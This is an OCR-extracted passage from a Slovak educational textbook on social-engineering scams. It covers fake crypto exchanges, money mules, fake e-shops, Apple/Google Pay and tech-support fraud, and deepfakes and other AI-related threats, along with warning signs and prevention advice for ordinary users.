nad kryptomenami’. Pripravuji nielen krasne prezentacie rastu vloZenych penazi,

Nepokazte si sviatky nakupmi na internete; Dostupné online [21.1.2024]https://www.
tatrabanka.sk/sk/blog/bezpecnost/nepokazte-si-vianocne-sviatky-nakupmi/

napr. pogli bitcoin a “vyhraj” dva. Dalsie priklady na: https://www.finder.com/bitcoin-
scams
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ale aj kopie originalnych burz. Obvykle zac¢ina komunikdacia velmi prijemne, ked
neznama zena alebo muz zacne milym slovom hovorit o svojich tspechoch
v investiciach do kryptomeny. Postupne vam dovoli nahliadnut do investovania na
burze a prevedie vas investiciami do konkrétnej burzy. Castou ttoku je perfektna
profesiondlna prezentdcia o vyhodnosti vkladov do burzy. Celd komunikacia je
zaobeland silnymi manipula¢nymi technikami. Inym vektorom moze byt reklama
na takuto falosnu burzu alebo kryptomenu na socialnych sietach, ktora casto byva
podporena faloSnymi recenziami, pripadne odporucanim falosnych tictov znamych
osobnosti.

BTC Bitcoin $42,429.49 -0,39%
© ETH thereum $2,515.27 -0,93%

BNB BNB $311.00 -0,92%
€ xR Ripple $0.5611 -1,39%

Obr.: Stav najobchodovanejsich kryptomien 18.1.2024 v kryptoburze Binance®

Samozrejme, burza aj vSetky informacie neexistuju a obrazky, ktoré vidite, riadia
utocnici. Na zaciatku musi buduica obet urobit vklad okolo 500-1000 EUR do burzy,
po case sa investovana ciastka zvysi aj 10-20 nasobne. Obet ma po cely cas pristup
do burzy a pozoruje rast penazi na svojom tcte. Vsetko je simulované ttocnikom
a ni¢ z toho nie je pravda. Okrem toho v momente, ked obet stale veri v dana
investiciu a chce zisk vybrat, dostane od uto¢nika dalsiu poziadavku - najprv musi
vlozit tol'ko, kolko chce vybrat, pripadne zaplatit manipula¢ny poplatok alebo dar
z deklarovaného zarobku. To znamen3, Ze obet posle tito¢nikovi dal$i obnos penazi.
Tento obnos pefazi je stile vys$i. Ziadne z tychto penazi uz obet neuvidi.
Poslednym krokom byva, Ze titoc¢nici si vypytaju kompletné tidaje o platobnej karte
pod zamienkou zaslania penazi na kartu Pricom vsetci vieme, Ze staci poslat len
Cislo karty na zaslanie penazi. Tymto ziskaju aj platobnu kartu, ktort vedia
vykradnut.

Inym variantom takéhoto typu ttoku je, Ze na jeho zaciatku utoc¢nik zmanipuluje
obet do situdcie, Ze si obet nainstaluje na svoj pocitac¢ alebo mobilny telefén softvér
na vzdialeny pristup pre utoénika. Utoénik to oddvodni tym, Ze chce pomdct
pripravit pristup do prezentovanej kryptoburzy. Ak uz ma vzdialeny pristup, vie
odsledovat prihlasovacie tidaje do internetového bankovnictva, vSetky hesla, osobné
tidaje. Utoénik casto naviguje obet, aby sa do aplikacii, ktoré titoénika zaujimajd,
prihlasila, napriklad, aby mohla obet tispeSne investovat do falosnej kryptoburzy.
V istom momente zacne obeti na tcet prichadzat velké mnozstvo transakcii
s roznymi sumami z neznamych uctov a nasledne odchadzat rdzne sumy na iné

8 Binance - burza kryptomien pre bitcoin, ethereum a altcoiny [18.1.2024] Dostupné
online:https://www.binance.com/sk
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uéty. Utoénik to obeti vysvetli tak, e sa jedna o zarobky z investovania
a odchadzajtice transakcie predstavuju dalsie investicie. V skutocnosti sa vSak obet
stava bielym koriom a tymito transakciami dochadza k praniu Spinavych penazi.

Ako rozoznat titok?

e podvodnik vychval'uje svoj majetok,

e podvodnik, ktory komunikuje s obetou, slubuje pomerne vysoké zisky za
kratky cas,

e burza piSe o znamych osobnostiach, ktoré kvdli nej zbohatli alebo pouziva
falosné ucty celebrit, ktoré Siria pozitivne informdcie o investicnom produkte,

e kryptomena je prezentovand ako novy, neznamy, produkt, s vysokym
vynosom,

e kryptoburza je nezndma a nema ani znamu Struktaru vlastnikov.

(\@_} Vysuvetlite s pomocou internetu pojmy biely kori a pranie Spinavych peiiazi (pomoZzte si
portilom www.slov-lex.sk alebo www.nbs.sk)

(\9} Vysvetlite pojmy: pump and dump, pig butchering.
Co nam pomoze odhalit atok?

Ked uz vieme, ¢o nam hrozi, naucme sa, ako rozpoznat podvodné spravanie
atoénika. Co vam na prvy pohlad musi udriet do oéi? Velmi tazko sa presne urcuje,
ktora Cast je zaujimava a kedy sme mali zbystrit a zvysit pozornost. Toto budeme
vediet odhalit az po utoku, ked budeme skiimat utok a analyzovat dopady. Pred
utokom alebo na zaciatku titoku vSak vieme rozoznat urcité nestandardné prvky.

Vybrali sme niektoré, ktoré by ndm mali automaticky nastartovat pozornost.

o Neobvykla aktivita - kontaktuje vas clovek, ktory vas nikdy nekontaktoval,
mate moznost, ktortt nikto iny nema, vas penazny ustav (banka, pobocka
zahrani¢nej banky, poistoviia atd.) alebo zastupca policie sa o vas zaujima
$pecidlnym sposobom. To znamena, Ze zaZijete aktivitu, ktort ste nikdy nezazili.

e Pocit naliehavosti - Gtocnik vytvara pocit, Ze to prebieha okamzite a jedine vaSa
aktivita zachrani situdciu. Predstavte si, Ze vam zavola zastupca policie a tvrdj,
ze identifikoval titok na vas tcet alebo vas oslovi neznamy vojak zo zajatia,
ktorého zabiju teroristi, ak nezaplatite za neho vykupné.

e Falosna stranka - stranka, kam sa prihlasujete alebo sa musite prihlasit na
ziadost ttocnika, nepatri organizacii, ktort predpokladate, ale je podhodena.
Utocnici sa uchyluju k roznym technikam, niekedy uvidite dlht strénku, pricom
nevidite zdkladnt doménu, resp. inokedy je schovand linka hned za ukradnutou
castou domény, napr. http://www.obchodskvetmi.sk/internetbanking.
vasabanka.sk

e Mala suma, extrémna zl'ava, enormny zisk - peniaze st najlepsia presviedcacia
metoda, ako presvedcit obef. Staci obeti pontknut malé sumy, velku zlavu
prave a teraz alebo zisk, ktory zabezpedi celti rodinu na roky dopredu.
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e Pocit strachu - komunikacia, ktortt smeruje tito¢nik na obet vyvolava pocit
strachu, Casto podmienuje reakciu na jeho poziadavky tym, ze ak to obet
neurobi, v ohrozeni sa ocitne jej ticet, pripadne financie na fiom.

Ak ktortukolvek z predchadzajticich aktivit zazijete, potom musite zbystrit svoju
pozornost a zacat analyzovat, ¢i naozaj nejde o titok na vas.

Rodiny pod tlakom socialneho inZinierstva

Utoky sa nevyhybajti ani doméacnostiam a nartsajii pohodlie rodiny. Nabtiravajt
rozpocet rodiny, rozbijaju sudrznost a obet je casto vylucena na okraj kolektivu.
Velmi tazko sa chape spravanie jedinca, ktoré je vyhodnotené ako nanajvys
nezodpovedné. Z pohladu okolia sa podlahnutie ttoku (zlyhanie) vnima casto ako
lahkovazne narabanie s peniazmi. Rodina je nasledne pod tlakom, lebo je
nevyhnutné nahradit skody, ak vzniknt cudziemu subjektu alebo vyplatit tvery,
ktoré boli tito¢nikom vytvorené na kartach a tuctoch.

[ Predstavme si situaciu, ze obet podlahne v praci uto¢nikovi, ktory obet oklame
a prinuti bez kontroly poslat peniaze z organizacie uto¢nikovi. Organizacia
nasledne zacne peniaze vymahat od obete. To znamena, Ze obet je nuitena
zobrat si iver na vyplatenie Skody organizacii. Postupne sa straca dovera voci
pracovnikovi z pohladu organizécie. Castokrat pride o zamestnanie kvoli
poruseniu pracovnej discipliny. KedZe je negativne ovplyvnena celd rodina,
objavuje sa aj vazne narusenie dovery rodiny voci obeti. Rodina bude zaroven
pod tlakom z pohladu financii, ktoré budu pravidelne posielané na vyplatenie
averu.

V pripade utoku je potrebné pomdct rodine, aby sa zomkla a dokazala sa preniest
a pochopila, Ze nejde o zlyhanie clena domacnosti. Clen domacnosti bol oklamany,
a preto potrebuje pomoc nielen rodina, ale aj on sam.

C\D} Co znameni a odkial pochidza slovo ostrakizovat?

Sucasné utoky a ocakavané trendy utokov

Konvenc¢na predstava ttoc¢nika, ktory Zije len pre ttok a ktory si objednava pizzu
a hamburger, ma neupravené mastné vlasy a neustale nieco programuje, uz davno
nie je aktudlna. Predstavujme si utoc¢nikov ako Iudi, ktori Ziji medzi nami,
vystudovali rovnaké Skoly, ziji v rovnakom meste, poctivaji rovnaku hudbu
a chodia do rovnakych divadiel a kin ako my. Za tuto¢nikov pracuju rdzne
samostatné programy a automaty, ktoré neustale prechadzaji internet a hladaju
diery v systémoch. Utoénici sa zaujimajti o vietky pokrokové technolégie, akou je
napriklad aj virtualne realita. A tieto technoldgie vyuzivaja na 100%. Rozdiel je len
v cieli vyuzitia. Obycajne pouZzivaju Iudia nové technologie na pracu, zabavu
zjednodusenie Zivota. Utocnici sa zamyslaji nad tym, ako zneuzit tieto informacie
Vo svoj prospech.
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Najcastejsie utoky

V tejto kapitole si predstavime a ciastocne zopakujeme utoky, s ktorymi sa vieme
stretnat v naSom bezZnom Zivote. Nasim cielom bude zamysliet sa nad jednotlivymi
tatokmi, pochopit ich podstatu a hladat moznosti ochrany. Utoénici sa zaujimaj
o peniaze. VSetky titoky st teda orientované na peniaze, ¢i uz ide o necakant vyhru,
alebo balik, ktory casto ani necakate alebo iny sposob vyziadania si penazi.

Mobze sa nam stat, Ze niektoré titoky budu pre nas uz zname, iné nie. Podstatou vsak
je, Ze na vyhru je nevyhnutné vyplnit tdaje o platobnej karte alebo sa prihlasit do
vasho internetového bankovnictva. Oba typy tidajov nasledne titocnici zneuziju.
Niekedy je nevyhnutné pouzit kontrolny kéd na potvrdenie transakcie na karte (3D
Secure). V tom pripade komunikacia medzi atocnikom a obetou nekond¢i a bude
pokracovat ziadostou o zaslanie potvrdenia 3D secure aktivity od obete.

(\@_} Ndjdite na internete a vysvetlite, ako funguje z pohl'adu pouZzivatela mechanizmus 3D
Secure.

Prilezitost vyhrat super produkt - o prilezitosti sa dozvieme zvycajne pomocou
reklam cez socialne média (napr. Facebook, Instagram atd). Tu je mozné vyhrat
novy, inovativny a hlavne drahy produkt (napr. herny notebook, drahy telefén,
nabytok... a vSetko najviac za euro).

Vyuzitie neskutoénych (neredlnych) zliav v rdamci internetového obchodu -
podvodné e-shopy pontkaju vyrazné zlavy na tovar, ktory nie je mozné Iahko
ktapit. O obchode neviete zistif, kto je majitefom, kde sa nachadza, nenajdete
overitelné referencie, len tie, ¢o tito¢nik poskytol v ramci obchodu.

Podvodna sprava, pri ktorej klient obdrzi spravu (e-mail, sms, whatsapp..), Ze mu
niekto posiela peniaze - sprava obsahuje odkaz na falosnt platobnt branu, kde
utocnik ziska od klienta idaje o karte a aj kontrolny 3DSecure kod potrebny na
potvrdenie platby.

Kontaktovanie pri predaji na predajnych webovych strankach alebo aplikaciach
(bazaroch) - medzi tieto aplikacie patria napr. Bazo$, Vinted, Temu. Startom na
vyber je inzerovanie pouZitého tovaru. Utoénik si pripravi $pecidlny samostatny
program, ktory kontroluje systém a informuje o zmenach. Program monitoruje
kandly predajného portdlu a ked niekto zadd inzerat, obratom ho kontaktuju.
Utocnici sa zameriavaju na ziskavanie tidajov o platobnej karte (titok bol popisany
vyssie).

Investovanie do podvodnych kryptobturz - nalakanie prebieha zvycajne na pozadi
vymysleného pribehu konkrétnej, znamej osoby, ktort predstavuji ako osobu, ktora
ziskala enormné bohatstvo pomocou tejto podvodnej kryptoburzy. Podvodnici sa
snazia o investovanie obete do kryptomien a nasledne sa snazia vylakat dalsie
peniaze pod falosSnymi zdmienkami.

\@_} Ndjdite na internete priklady faloSnych rekldm na zbohatnutie zniamej osoby pomocou
investovania.
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Podvod pomocou aktivovania aplikacie ApplePay, GooglePay - klient dostane
spravu (e-mail, sms, whatsapp..) s linkou a zaujimavym textom, kde ho presmeruju
na falosnu platobnti branu s cielom ziskat tidaje o karte. Okrem toho poziadaja pod
falosnou zadmienkou aktivacny kod, ktory je potrebné zadat pre pridanie karty. Po
ziskani udajov si tto¢nik prida kartu obete do ApplePay a GooglePay. Aktivaciu
tychto spomenutych funkcii banka oznamuje standardne notifikaciou klientovi. To
znamena, ze informacie, ze karta bola pridana do ApplePay alebo GooglePay na
novom zariadeni klient dostane. Standardom je, Ze takéto informécie klient ne&ita
s porozumenim, a preto vie [ahko prehliadnut samotnua aktivaciu. Tu si mozeme
pripomentf kognitivne chyby tisudku, ako multitasking a neststredenost, ktoré st
jednou z pri¢in popisaného spravania.

Necakana ponuka z technickej podpory, od podvodnikov, ktori sa vydavajui za
rozlicné organizacie s imyslom , opravit” vas pocita¢/mobil, lebo mé nestandardné
spravanie. Cielom je prebrat kontrolu nad vasim pocitacom/mobilnym zariadenim
anasledne odsledovat vase prihlasenie na socidlne siete, do internet-bankingu alebo
mobilnej aplikacie, a tak zistit prihlasovacie idaje. Toto nie je mozné bez spoluprace
klienta, ktory na zaciatku dovoli nainstalovat uto¢nikovi aplikdciu na kontrolu
a riadenie pocitaca.

ONAS sLuzeY STATISTIKY PUBLIKACIE RADY A NAVODY

Vola Vam technicka podpora Microsoftu? MéZe ist' o podvod
11. septembra 2020

Varovanie pred zneuZivanim ponuk na ickd podporu h ych firiem

Mozno sa to stalo aj vam. Kontaktovalo vés Gislo z inej krajiny, pricom vas informoval o tom, Ze vas potitat je infikovany a
(ol moc ) £al Allamat Tiatn naduach Al (i na nbrtlcach _nri%

Obr.: pred falosnou technickou podporou Microsoft varoval aj SK-CERT

Zaujimavym scenarom je situdcia, ked vam ma prist balik od kuriérskej spolo¢nosti
alebo samotnej posty. Hned' za informaciou pride informativny email, Ze potrebujete
zaplatit clo alebo int1 platbu, aby vam bol balik doruceny. V ramci tohto kroku ziska
utocnik udaje potrebné na platbu.
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Slovenska posta Balik dorazil na
sklad a nie je mozné ho dorucit

z dévodu neuplnych udajov o
adrese. Do 12 hodin potvrdte
adresu v odkaze, inak vase polozky
stratime.

https:/rebrand.ly/Skinpg7

Tim Slovenska posta vam d'akuje za
- podporul

157 &
Obr.: priklad impersonifikdcie Slovenskej posty v SMS sprive

Utoénici neustéle zlepSujti svoje utoky, vymyslaji neuveritelné pribehy, hladaja
nové cesty Sirenia utoku tak, aby zasiahli ¢o najvacsiu skupinu moznych obeti.

Predpokladatelny vyvoj

Vyvoj atokov sa rozvija v dvoch rovinach. Prva rovina je utok z pohladu co
najlepsieho vytaZenia existujucich technologii. Napriklad ttoc¢nici hladajt, ako ¢o
najlepsie nastavit certifikat na webovej stranke’, ako bez chyby prelozit phishingovy
email, ako ziskat funkéné emailové adresy, ako ¢o najlepsie vyuzit anonymizované
proxy... Druhym smerom je vyuZivanie novych technolégii. Uto¢nici hladaji
dokonalejsie prekladace, pouzivaji umelt inteligenciu, virtudlny priestor v cloude
a podobne. Treti smer sa spaja s velkostou internetu, nekoneénym mnozstvom
dostupnych dat a sluzieb. Uto¢nici si mdzu vyberat z moznosti ako a kde zattocit.

Nové typy utokov

Pozrieme sa lepsie na hrozby, ktoré ocakavame v najblizsich rokoch. Znovu ich
vieme rozdelit na dve casti. Prvou castou je utok zrealizovany technickymi
novinkami. Na podvod pri komunikacii pouzivaja tito¢nici hlasovy syntetizator. Na
rychle vytvaranie utocnych webovych stranok pouzivaju cloudové sluzby, na
ukladanie zdrojovych kédov GitHub, na posielanie malvéru Discord, atd'.. Spravaju
sa rovnako, ako ktorykolvek z programatorov. Zaujimavym vyuzitim je pouzitie
dronov na odpoctuvanie WiFi, vytvaranie kompromitujacich fotiek a videi. Na
sledovanie pouzivaju Specidlny softvér v teleféone alebo WiFi kameru ulozent
v knihe, okuliaroch, pere alebo inom nositelnom zariadeni. Uto¢nici sa zameriavajt
na osobné pocitace. Dostupnost v mieste, odkial pracujeme, sa stava Standardom,
a preto prienik do osobného pocitaca umozni narusenie organizdcie.

 aby dodali stranke déveryhodnost
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Utoky pomocou umelej inteligencie

Druhou ¢asfou je vyuZivanie umelej inteligencie na podvody. Utoénici sa zamerajt
pri riadeni podvodov na umelt inteligenciu, ktord pozna zranitelnosti, vie rozoznat
prostredie a vybrat spravny utok. Vyhodou pre ttocnikov je, Ze umela inteligencia
vie vcas rozpoznat typ obrany obete a nasadit spravnu ochranu. Velkou vyzvou je
vyuzivanie DeepFake. Utoky typu DeepFake sliZia na vytvéranie falosného obsahu.
Tieto tutoky vyuzivaju techniky strojového ucenia a umelej inteligencie na
manipulaciu alebo generovanie vizudlneho a zvukového obsahu, ktory sa ¢asto na
nerozoznanie podoba potencialnej obeti. DeepFake sa pouzivajii na oklamanie obete
za ziskanim finan¢ného prospechu, na vydieranie, na vytvaranie sexualneho
obsahu, na podvod a nasledné zneuzivanie deti, v politickej kampani, ale aj v umeni
a v zabave. PouZitie je Siroké a moznosti zneuzitia ohromujuce.

‘ . v s s . & . . ¥ .
7// Podnikajte.sk Inspml:cla. Stal?t ) Dine ) Fmanr.:le Manaz.ment Pra.vo )
4 = pre podnikanie podnikania adctovnictvoe ekonomika amarketing alegislativa

Podvody s pouZzitim umelej inteligencie: pozor
na deepfake

Libusa Removéikova

Obr.: Ukazka clanku, ktory upozorriuje na podvody typu DeepFake."

Na ochranu proti DeepFake a podobnym utokom vznikaju webové stranky, ktoré
odhaluju podvodné konanie. Existuju softvéry na odhalovanie podvodnych tvari.
Branit sa vSak vieme aj my, ak sa pri informaciach zaujimame o zdroje, odkial
informacie pochéadzaju a ¢i tieto zdroje patria medzi doveryhodné. MoZeme hladat
naznaky nekonzistentnosti. Pri tomto type titokov st1 vhodné aj Standardné obranné
praktiky: zachovanie pokoja, zapoctivanie sa do intonacie, farby hlasu a skladby viet
volajaceho, posudenie logickosti poziadavky a ¢i danu aktivitu chcem vykonat
z vlastnej vole alebo ma do nej chce zatlacit druha strana.

Utoénici sa nezameriavajti len na vyuZzivanie umelej inteligencie na titoky. Novym
smerom v utokoch je, Ze ttocnici hladaju spdsob, ako ovplyvnit rozhodovanie
umelej inteligencie jednoduchym trikom, otazkou alebo malou zmenou spravania.
Prikladom mozu byt titoky na autonémne autd, vid priklad. Umela inteligencia ma
stale prvok pravdepodobnosti a modely mozu mat chybu, kde mala zmena na
vstupe vytvori velkd zmenu v rozhodovani. Utoénikom pritom ide hlavne o zisk. Ci

10 Podvody s pouzitim umelej inteligencie: pozor na deepfake [11.11.2023] Dostupné

online: https://www.podnikajte.sk/technologie/podvody-s-pouzitim-umelej-
inteligencie-deepfake
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uz ovplyvnia modely umelej inteligencie finanénych spolocnosti, ktoré potom
umoznia ttocnikovi ziskat peniaze, aj ked nesplni vsetky podmienky na po6zicku,
alebo dokazu na sérii nestasti automobilovej spolocnosti ukdazat, Ze spolocnost ma
chybu v kode a spdsob opravy sa snazia automobilke predat.

Existuju aj iné spdsoby ovplyviiovania. Predpokladame, Ze ttoky sa rozsiria do
krajin, kde st umelé inteligencie pouzivané na ohodnotenie spravania cloveka
v spolo¢nosti a identifikovanie prinosu daného ¢loveka. Utoénici sa budd snazit
ovplyviiovat modely tak, aby malou zmenou v spravani radikalne zmenili
ohodnotenie ¢loveka, a to ¢i uz v pozitivnom alebo negativnom smere.

[ Niektoré krajiny pouzivaji umeli inteligenciu na socialny scoring. To
znamena, ze ak sa clovek sprava podla predstav vlady, dostane pozitivne
hodnotenie a vela vyhod. Ak sa podla predstav nesprava, dostava zaporné
hodnotenie a niektoré vyhody mu zobert. Nemoze ist na vylet mimo mesta,
nedostane dobrti pracu, nedaju mu kreditna kartu... Predstavte si, Ze tito¢nik
takyto systém nabura a z dobrého ¢loveka urobi zloducha a zlému cloveku
naopak dovoli vsetko.

(\")} Ndjdite aspori dva priklady, kde je pouZité ohodnotenie sprdvania cloveka v danej
komunite umelou inteligenciou. Moze ist' o stdty alebo aplikdcie. Vysvetlite, v com
spociva hrozba takéhoto hodnotenia.

Obr. Priklad znacky, ktorii autonémne auto nevedelo sprdavne rozlisit."!

(?_} Vysvetlite, co oznacuje slovné spojenie “efekt motylich kridel” a ako sa da toto spojenie
pouZit pri modeloch umelej inteligencie.

Kazdy typ tutoku, ktory v tejto kapitole nacrtneme, ma svoj smer, ktorym je
zamerany a ktory je pre cloveka nebezpecny. Na zaciatku kapitoly sme si vysvetlili,
Ze podstatou tutokov st techniky socidlneho inZinierstva. Z toho vyplyva, ze utoky

I Autondmne autd zmatie aj par nalepiek na znacke! St naozaj také bezpecné? [14.1.2024]
Dostupné online: https://magazin.autobazar.eu/autonomne-auta-zmatie-aj-par-
nalepiek-na-znacke-su-naozaj-take-bezpecne-clanok3453.html
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si zalozené na oklamani alebo zmaiteni konkrétnej obete. Dobrym prikladom
rieSenia, ktorého podstata je zmétenie mysle, je virtualna realita, ktora prenasa
cloveka do priestoru, ktory neexistuje. Ak vSak je takdto virtualna realita upravena
utoénikom, moze sa stat, ze ttocnik nasmeruje obet niekam, kde sa obeti stane
nepravost, ubliZi sa jej, napr. vojde pod auto, dotkne sa elektrického vedenia, spadne
zo0 schodov,..

= @ NOVINY NOVINY PLUS JoJ24.5K TOPSTAR 24 PODCAST VIAC ~ Q

() redskcia/vD 11.2018 - Zshranicie —

Muz zomrel pri tom, ako mal na sebe helmu pre virtualnu
realitu

Obr.: Muz zomrel pri tom, ako mal na sebe helmu pre virtudlnu realitu

Rozsirenie utokov pomocou virtudlnej reality, mdze nastat spojenim s umelou
inteligenciou, ktord moZe vytvorit bublinu, ktorej obet uveri. Obet tak moZno
priviest do stavu depresie, moZe ju oklamat, Ze sa od nej odvratili priatelia, rodina,
Ze sa jej nedari v praci. Je pomerne jednoduché vytvorit chatbota, ktory sa bude
vydavat za vasu novi kamaratku alebo kamarata a bude nadvazovat vztah, a ten vo
vhodnej chvili zneuzije. Umeld inteligencia dokaze vytvorit falosné obrazky,
nahravky, videa o obeti, a tie nasledne publikovat.

12 Muz zomrel pri tom, ako mal na sebe helmu pre virtudlnu realitu [11.11.2023] Dostupné
online: https://www.noviny.sk/zahranicie/292651-muz-zomrel-pri-tom-ako-mal-na-
sebe-helmu-pre-virtualnu-realitu
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Utoky na hracov hier

V neposlednom rade I'udia zacinaju stale viac zit vo virtualnej realite. Pri hrani hier
sa stavame stdle viac clenmi virtualneho sveta, kde sme si vybrali postavu - avatara,
ktort si zlepsujeme, komunikujeme v tomto svete s kamaratmi, vymiename,
kupujeme, predavame tovar. Kradnutie virtudlneho tovaru, majetku a zneuzitie
prihlasovacich tidajov uz nasledne pre nas ani nepatri do prekvapivych typov
utokov.

Utoky na Tudi, zariadenia a organizécie narusenim informacnej bezpe¢nosti sti na
dennom poriadku. Vzhladom na staly vynos (pravidelny/ststavny zisk) sa titokom
venuje stale viac utocnikov, casto programatorov. AvSak nie kazdy zacina ako
vyskoleny programator, resp. sa zameriava na int cast titoku alebo sa ani mozno
nechce dlho zaskolovat a minat peniaze na vzdeldvanie, ktoré mu na koniec nemusi
priniest pozadovany uzitok. Preto sa titoc¢nici spojili a v ramci DarkWebu zakladaju
spolodenstva, ktoré vydavaju skodlivy kod a predavaji ho. Skodlivy kod udrzujia
aktivny a ak qtoénik plati pravidelne poplatky, wudrzuji garanciu
nevystopovatelnosti a takzvanej kvality produktu aj pocas dalsich mesiacov. Pre
atoc¢nikov je to velmi zaujimava sluzba, lebo titok trva urcity cas a ak by bol priskoro
odhaleny, prisli by o svoje peniaze.

Utoky sti v stiasnosti spojené s roznymi hrami, pricom ide o jednoduché podvody,
kde tutoénik ukradne vsetky peniaze obeti z hrac¢skeho konta, napriklad pontikne
obeti, Ze pozna sposob, hack a sta¢i, aby mu obef dala pristupové prava a on
zdvojnasobi jej virtualne peniaze. Tieto titoky st na dennom poriadku a zasahuju
primarne deti na prvom a druhom stupni zakladnej skoly. Samozrejme plati, ze ¢im
zaujimavejsie konto hra¢ md, tym skor sa na neho utocnici zameraju. Pouzivaju
pritom vSetky techniky, chat a video cez hru, SMShing, Phishing a vSetko, na ¢o hra¢
zareaguje.

Utoénici Casto hraéom pontknu moznost nainstalovat si program, ktory hekne hru
a otvori v hre vsetky platené casti alebo umozni beztrestne podvadzat (cheatovat).
Heker vSak ni¢ nerobi zadarmo, a preto je v takejto instalacii vzdy pribaleny aj
program, ktory napadne a otvori pocitac pre itocnika. Vel'mi aktudlnou komunitnou
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hrozbou je moZznost implementacie rozsirenia hry o nova funkcionalitu, ktoru
Standardna hra nepouziva. Patri sem nové prevedenie predmetov, iné oblecenie
postav, iny vyzor postav, nové svety. V tychto rozsireniach sa ¢asto nachadzaju tzv.
zadné dvierka pre ttoc¢nikov, kedy hack instaluje ¢asto softvér na ovladanie pocitaca
uto¢nikmi. Utoénici negativne ovplyviiuji hradov: vyvolavaji hystériu,
nekontrolovany hnev, navadzaji na vykonavanie neddstojnych veci ¢i ucia hracov,
ako sa vyrabajui zbrane. Ak hra rozpozna pouzivanie hacku, moze zakazat
pouzivanie konkrétneho tctu'.

Utoky v metaverse

Virtualny Zivot vo virtualnom priestore sa pre nas stava prirodzenym. Cast ludi
zacina a kondi zif (fungovat v realite) pre prispevky na Instagrame, ¢i Tiktoku. Pre
druhti Cast to nesta¢i a prenasa svoj zivot do virtudlneho prostredia, napr.
metaversu. Metaverse je systém virtudlnych 3D svetov, ktory umoznuje naplno
vyuzit virtudlnu a rozsirent realitu. V stucasnosti existuje niekolko platforiem
metaverse a v blizkej buduicnosti sa o¢akava rozsirenie mnozstva platforiem, s ¢im
suvisia aj obrovskeé investicie do jednotlivych platforiem. To znamend, Ze virtudlne
svety su tiez cielom hackerskych utokov. Nachddzaju sa v fiom celé komunity,
dokonca niektoré firmy cast svojich aktivit pontkaju v metaverse. V tomto svete
existuje vel'a hrozieb, pricom niektoré stivisia s ochranou osobnych tdajov. Ochranu
osobnych tidajov sme preberali v predchadzajucich knihach. V tejto Casti si len
povieme jednu z hrozieb, a to je zhromazdovanie udajov: ak ¢lovek nosi nahlavna
supravu (slichadla s mikrofénom), firmy, s ktorymi spolupracuje, mézu od¢itat jeho
crty, pohyby odi, reakcie a navyky. Hackerské timy vytvaraja virusy a pripravuju
ransomvérové utoky, aby ovplyvnili zariadenia pouZzivatelov. Snazia sa ukradnut
pomocou phishingovych ttokov virtudlnu identitu (avatarov) jednotlivych
pouzivatelov. Musime mat na pamati, ze atocnikom pri ttokoch ide o déverné
informadcie a osobné informacie, ktoré prindSaju nepriamy zisk a aj o priamy zisk.
Priamy zisk sa tyka ukradnutia peniazi, kryptomien alebo ¢isel kariet. VSetky
vymenované casti prindsaju priamy zisk, lebo sa daji okamzite pouzit na nakup
alebo vyber petiazi. Uto¢nici vytvorili systém trollov, ktori Sikanuju avatarov, slovne
a fyzicky' na nich ttocia. Niektoré rozsirenia v metaverze umiestniujit nad hlavy
avatarov malé vykri¢niky, ktoré oznacuju nedoveryhodnych avatarov. Takéto
oznacovanie je lahko zneuziteIné tutoénikmi a moze viest k strate dovery
v konkrétnom metaverse. To znamena, Ze ak zacne utok na avatarov a bude

GTA vas nauci vyrabat molotovy [17.11.2023] Dostupné online: https://www.sector.sk/
novinka/41412/gta-vas-nauci-vyrabat-molotovy.htm

4 Hack mezi nami muze navzdy zakdazat vas ucet! [17.11.2023] Dostupné online: https://

www.digitalphablet.com/cs/gaming/among-us-hack/

Zenu v metaverze sexualne obtazoval gang muzskych avatarov [17.11.2023] Dostupné
online: https://www.nextech.sk/a/Zenu-v-metaverze-sexualne-obtazoval-gang-
muzskych-avatarov
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uspesny, potom v metaverse, ktory je pod ttokom, uz nikto nebude nikomu
ddverovat.

[ Dvaja avatari, $¢f a zamestnanec hovorili o multimilionovom obchode
v metaverze. Neskor sa znova stretnti a $éf o predchadzajiicom rozhovore nic
nevie's,

\®_} Vysvetlite, o znamend slovné spojenie mepriamy zisk. PomdzZte si vysvetlenim
priameho zisku z predchddzajiiceho odseku. Vymyslite priklady.

Principy prevencie pred utokmi

Predstavili sme si velké mnozstvo ttokov, sposoby ich prevedenia, ciele a dopady.
V tejto kapitole si povieme o sposoboch ochrany a rieSeniach nasledkov ttokov.
Virtualny priestor obc¢as vytvara predpoklad v mysli ¢loveka, akoby utocnik bol
vzdy anonymny a o krok vpredu pred obetou. My sa vsak vieme pomerne
jednoduchymi krokmi branit a tento pomyselny naskok tto¢nikov minimalizovat.
Zarovenn mame moznost pouzit tie isté nastroje na ochranu ako v redlnom Zivote.
Existuje obrovské mnozstvo ochrannych prostriedkov, ako st antivirové softvéry,
sietové ochrany, napr. firewall alebo lepsia ochrana pristupu do systému pomocou
multifaktorovej autentifikacie. Mame k dispozicii firmy, ktoré nas vedia ochranit,
zastavit a odvratit atok rovnako, ako bezpecnostné firmy v obchodnych domoch.
Nebojme sa ich oslovit v pripade straty alebo v pripade nebezpecenstva oslovit
policiu.

Jednotlivec alias ¢o by mal vediet kazdy pouZzivatel

Sposob, ako rozoznat phishing, smishing a vishing, ako zakladné ttoky, sme si
v predchadzajacich knihach spominali. Nestandardné prvky, pri ktorych musime
zvysit pozornost, sme si uz v knihe predstavili. Pripomenieme si ich este raz,
a zaroven ku kazdej aktivite pripojime jednoduché vysvetlenie a zopar prikladov.

e neobvykla aktivita - aktivita, ktora nikdy doteraz nenastala a potencidlnu obet
prekvapi, pripadne vyvedie z miery (nocné volanie z policie, ktoré sa netyka
auta, vola ¢len rodiny z nemocnice a Ziada o pomoc, uéitelka zo skoly informuje
o zranenom dietati babku, ziadost o vyplnenie vasich prihlasovacich tdajov do
internet bankingu alebo odoslanie vsetkych tidajov z karty v pripade vasho
predavania na bazarovych platformach ),

e pocit naliehavosti - musite vykonat vSetko a okamzite, inak nastane nieco zIé
(ak sa neprihlasite vy, prihlasia sa utocnici, urobte nieco, aby ste neprisli
o peniaze, poslite peniaze, aby ste zachranili vnticika, hra ma chybu a prave

16 Hackerské utoky v metavesmiru: rizika- The Cryptonomist [17.11.2023] Dostupné
online: https://cs.bitcoinethereumnews.com/tech/hacker-attacks-in-the-metaverse-the-
risks-the-cryptonomist/
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teraz ju viem vyuzit a zdvojnasobit pocet virtualnych penazi, zajtra vyda firma
zaplatu a teraz je to mozné vyuzit,...),

e falosna stranka - komunikacia, ktort ste dostali, odkazuje na podvodnu
stranku, alebo ste dostali email s podvodnou strankou, najcastejsim znakom je
preklep v adrese (stranka, na ktort1 sa mate prihlasit nema adresu firmy, ktora
